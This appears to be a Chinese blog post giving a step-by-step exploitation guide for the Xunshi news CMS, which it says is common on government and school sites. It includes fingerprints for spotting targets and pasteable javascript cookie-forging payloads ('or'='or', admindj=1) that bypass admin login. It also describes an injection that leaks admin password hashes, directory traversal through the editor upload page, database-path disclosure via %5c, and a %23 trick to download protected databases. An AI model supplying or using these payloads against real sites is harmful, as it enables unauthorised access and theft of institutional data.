zoukankan      html  css  js  c++  java
  • 讯时新闻系统漏洞

    这套系统有N年版,一般的政府、学校和企事业单位用得多,
    特证: 显示新闻News_View.asp?NewsID= 登陆login.asp?id=3,最主要的特证是用的一个有一个EDIT目录,下面的数据库是用的db/#ewebeditor.asp
    以上特证只要中二个就基本可以肯定是这套系统
    漏洞:这套系统原来有N多漏洞,但经过改进,现在主要的问题是COOKIES注入和列目录问题
    具体的代码我就讲了,直接讲利用
    第一板斧:
    老版中存在一个后台COOKIES注入
    直接打开登陆后台,然后在地址栏输入
    javascript:alert(document.cookie="adminuser="+escape("‘or'='or'"));javascript:alert(document.cookie="adminpass="+escape("‘or'='or'"));javascript:alert(document.cookie="admindj="+escape("1″));
    这个功能就是把用户名和密码设置 为'or'='or' (这个有什么用不说了吧),还有把admindj设置为1
    按回车后,直接访问 /管理目录/admin_index.asp就进后台了,后台直接有备份功能
    管理目录自己找一下,一般在LOGIN.ASP的同级目录
    第二析斧:
    其中的投票文件过滤不严,js-xgxx.asp文件的xgnews参数没有过滤,具体的可以一朋友写的专用小工具(也可以对其它某些有COOKIES注入,但关键字和其它一些参数是固定了,作用可能不大,只是我们写来娱乐一下的,牛人不要笑)
    用这个直接可以得到管理员用户名和密码的MD5
    有了MD5可以去破解,如果破不了把上面的改一下
    javascript:alert(document.cookie="adminuser="+escape(" 用户名"));javascript:alert(document.cookie="adminpass="+escape("密码md5值")); javascript:alert(document.cookie="admindj="+escape("1″));
    确定后直进后台
    第三板斧:
    如果以上还是不行那就看......还是cookies问题,有某些版本中过滤了COOKIES中的'号,这样我们的万能密码就起不了作用了,asp文件的 COOKIES注入过没戏了,但是admindj=1还有用,输入完上面的代码后,如果还进不了后台,那就访问 /edit/admin_uploadfile.asp?id=14&dir=..,然后跟EWEBEDITOR的列目录漏洞一样,只需要改变 dir=后面的参数就可以看到查应的目录,如dir=..\.. dir=..\..\..
    可以找一些他的数据库备份啊或其它的.

    当看到它后台目录后,可以耐心的找找,没准能找到很有用的东西,我就找到了整个网站的备份,是rar格式的,我直接下载下来了,通过这个我就知道了webshell,当然这是在其他方面漏洞很少而又很幸运的前提下才有的。我试过别的方法得webshell,但是没成功…

    另外还有个漏洞可能会有用

    我们来看admin目录下的admin_conn.asp 文件,这文件代码很简单就几句话,我们来看源码

    <%
    mdb="../"
    %><!--#include file = ../admin_conn.asp -->

    够简单吧,但是可能就是因为程序员疏忽,所以出现问题啦,这是一个数据库链接文件,但是因为这文件没有容错语句,所以导致暴库漏洞下面是我的本机地址http://localhost/news/admin/admin_conn.asp,我们把最后一个“/”号改成“%5c”然后,哈哈,暴库数据库地址拉,大家看截图

    ,而且这套系统没有数据库防下载措施,数据库可以轻易下载

    这个漏洞修复方法很简单,只要添加防错语句即可
    ”ON ERROR RESUME NEXT“这一句话!!!!

    这漏洞应该是程序员疏忽造成的,在根目录下也有个admin_conn.asp 文件,这文件程序员添加了防错语句,

    这漏洞危害较大,请大家不要拿这程序拿来做坏事哦!!!

    如果得到了webshell,就可以下载它的数据库了,看哪个数据库对你有用就下载哪个,有时管理员会在数据库名称上做一些手脚,让你下载不成功,那么下面的方法一定有用:

    数据库名前加“#”
      只需要把数据库文件前名加上“#”,然后修改数据库连接文件(如conn.asp)中的数据库地址。原理是下载的时候只能识别“#”号前名的部分,对于后面的自动去掉,比如你要下载:http://www.pcdigest.com/date/#123.mdb (假设存在的话)。无论是 IE 还是 FlashGet等下到的都是http://www.test.com/date/index.htm(或index.asp、default.jsp等你在 IIS设置的首页文档)
      另外在数据库文件名中保留一些空格也起到类似作用,由于HTTP协议对地址解析的特殊性,空格会被编码为“%20”,如http://www.test.com/date/123 456.mdb,下载的时http://www.test.com/date/123%20456.mdb。而我们的目录就根本没有123%20456.mdb这个文件,所以下载也是无效的。这样的修改后,即使你暴露了数据库地址,一般情况下别人也是无法下载!

    “#”号方案的不可行性:其实在较早的一篇博客堂文章中已经提到这个问题了。将“#”号替换为“%23”就可以突破这个“关卡”了,比如:http://www.abc.com/#data.mdb,就直接在浏览器中输入:http://www.abc.com/%23data.mdb 就可以下载了!

    空格方案就不必多说了,我在本机的试验证明,在浏览器地址栏中直接写 http://localhost/testdata.mdb 没有任何问题很顺利就下载到了这个 test data.mdb,不知作者是什么解决方案。

  • 相关阅读:
    POJ 1469 COURSES 二分图最大匹配
    POJ 1325 Machine Schedule 二分图最大匹配
    USACO Humble Numbers DP?
    SGU 194 Reactor Cooling 带容量上下限制的网络流
    POJ 3084 Panic Room 求最小割
    ZOJ 2587 Unique Attack 判断最小割是否唯一
    Poj 1815 Friendship 枚举+求最小割
    POJ 3308 Paratroopers 最小点权覆盖 求最小割
    1227. Rally Championship
    Etaoin Shrdlu
  • 原文地址:https://www.cnblogs.com/shanmao/p/2772416.html
Copyright © 2011-2022 走看看